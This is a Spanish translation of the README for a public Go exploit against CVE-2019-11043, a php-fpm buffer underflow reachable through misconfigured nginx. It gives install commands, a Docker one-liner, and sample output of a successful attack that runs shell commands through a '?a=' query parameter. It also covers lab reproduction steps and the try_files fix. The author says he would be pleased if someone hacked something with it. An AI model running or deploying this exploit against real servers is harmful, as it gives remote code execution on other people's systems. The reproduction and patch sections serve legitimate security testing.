
Exploit para CVE-2019-11043
Esto es un exploit para un bug en php-fpm (CVE-2019-11043). En ciertas configuraciones de nginx + php-fpm, es posible disparar el bug desde el exterior. Esto significa que un usuario web podría ejecutar código si tienes una configuración vulnerable (consulta abajo).
Como éramos demasiado perezosos para hacer un análisis, Orange Tsai publicó un análisis perfecto en su blog. Mis felicitaciones para él.
También, mis diapositivas de ZeroNights 2019 están disponibles.
Si un servidor web ejecuta nginx + php-fpm y nginx tiene una configuración como esta
location ~ [^/]\.php(/|$) {
...
fastcgi_split_path_info ^(.+?\.php)(/.*)$;
fastcgi_param PATH_INFO $fastcgi_path_info;
fastcgi_pass php:9000;
...
}
que además carece de comprobaciones de existencia de scripts (como try_files), entonces probablemente puedas hackearlo con este exploit.
location ~ [^/]\.php(/|$) debe ser reenviado a php-fpm (quizás la regexp puede ser más estricta, mira #1).PATH_INFO mediante la sentencia fastcgi_param PATH_INFO $fastcgi_path_info;. Además, SCRIPT_FILENAME debe establecerse usando fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; (podría haber una ruta constante en lugar de $document_root). Al principio pensamos que estos siempre estaban presentes en el archivo fastcgi_params, pero no es cierto.PATH_INFO a un valor vacío. Este exploit asume que la directiva fastcgi_split_path_info está presente y contiene una regexp que empieza con ^ y termina con $, por lo que intenta romper la regexp con un carácter de nueva línea.Hace mucho tiempo, php-fpm no restringía las extensiones de los scripts, lo que significaba que algo como /avatar.png/some-fake-shit.php podía ejecutar avatar.png como un script PHP. Este problema se corrigió alrededor de 2010.
El actual no requiere subida de archivos, funciona en las versiones más recientes (hasta que llegó el parche) y, lo más importante, el exploit es mucho más interesante.
Instálalo usando
go get github.com/neex/phuip-fpizdam
Si obtienes errores de compilación extraños, asegúrate de estar usando go >= 1.13. Ejecuta el programa usando phuip-fpizdam [url] (asumiendo que tienes $GOPATH/bin dentro de tu $PATH; de lo contrario, especifica la ruta completa al binario). Una salida correcta se ve así:
2019/10/01 02:46:15 Base status code is 200
2019/10/01 02:46:15 Status code 500 for qsl=1745, adding as a candidate
2019/10/01 02:46:15 The target is probably vulnerable. Possible QSLs: [1735 1740 1745]
2019/10/01 02:46:16 Attack params found: --qsl 1735 --pisos 126 --skip-detect
2019/10/01 02:46:16 Trying to set "session.auto_start=0"...
2019/10/01 02:46:16 Detect() returned attack params: --qsl 1735 --pisos 126 --skip-detect <-- REMEMBER THIS
2019/10/01 02:46:16 Performing attack using php.ini settings...
2019/10/01 02:46:40 Success! Was able to execute a command by appending "?a=/bin/sh+-c+'which+which'&" to URLs
2019/10/01 02:46:40 Trying to cleanup /tmp/a...
2019/10/01 02:46:40 Done!
Después de esto, puedes empezar a añadir ?a=<tu comando> a todos los scripts PHP (puede que necesites varios reintentos).
Alternativamente, puedes usar una imagen docker para ejecutar el exploit:
docker run --rm ypereirareis/cve-2019-11043 [url]
Si quieres reproducir el problema o jugar con el exploit localmente mediante Docker, haz lo siguiente:
reproducer.docker build -t reproduce-cve-2019-11043 .. Tarda mucho tiempo porque internamente clona el repositorio de php y lo compila desde el código fuente. Sin embargo, será más fácil de esta manera si quieres depurar el exploit. La revisión compilada es la inmediatamente anterior al parche.docker run --rm -ti -p 8080:80 reproduce-cve-2019-11043.phuip-fpizdam http://127.0.0.1:8080/script.php?a= al script: http://127.0.0.1:8080/script.php?a=id. Inténtalo varias veces ya que solo algunos de los workers de php-fpm están infectados.Si quieres reproducir el problema o jugar con el exploit localmente mediante LXD, haz lo siguiente:
vulnerable y attacker. Puedes usar la imagen de contenedor ubuntu:18.04 para ambos contenedores.vulnerable, instala nginx y php-fpm. Configura el bloque de servidor como esta configuración. Crea un archivo vacío /var/www/html/index.php.attacker, instala el lenguaje Go (sudo snap install go --classic), clona este repositorio y ejecuta go build en el directorio del repositorio../phuip-fpizdam http://vulnerable.lxd/index.php. Prueba varias veces para infectar a todos los workers de php-fpm.Para instrucciones más detalladas, consulta Testing CVE-2019-11043 (php-fpm security vulnerability) with LXD system containers.
El buffer underflow en php-fpm está presente en la versión 5 de PHP. Sin embargo, este exploit hace uso de una optimización utilizada para almacenar variables FastCGI, _fcgi_data_seg. Esta optimización está presente solo en php 7, por lo que este exploit en particular funciona solo para php 7. Podría existir otra técnica de explotación que funcione en php 5.
La anomalía original fue descubierta por d90pwn durante Real World CTF. La causa raíz fue encontrada por mí (Emil Lerner), así como la forma de establecer las opciones de php.ini. El conjunto final de opciones de php.ini fue encontrado por beched.
Este exploit se distribuye bajo los términos de la Licencia MIT.
Abstente de causar cualquier daño con este exploit. Pero si realmente hackeas algo con esto, seré feliz.
PATH_INFO se establece después de REQUEST_URI en la configuración.try_files $uri =404 o if (-f $uri). Si Nginx descarta las peticiones a scripts inexistentes antes del reenvío FastCGI, nuestras peticiones nunca llegan a php-fpm. Añadir esto también es la forma más fácil de parchear.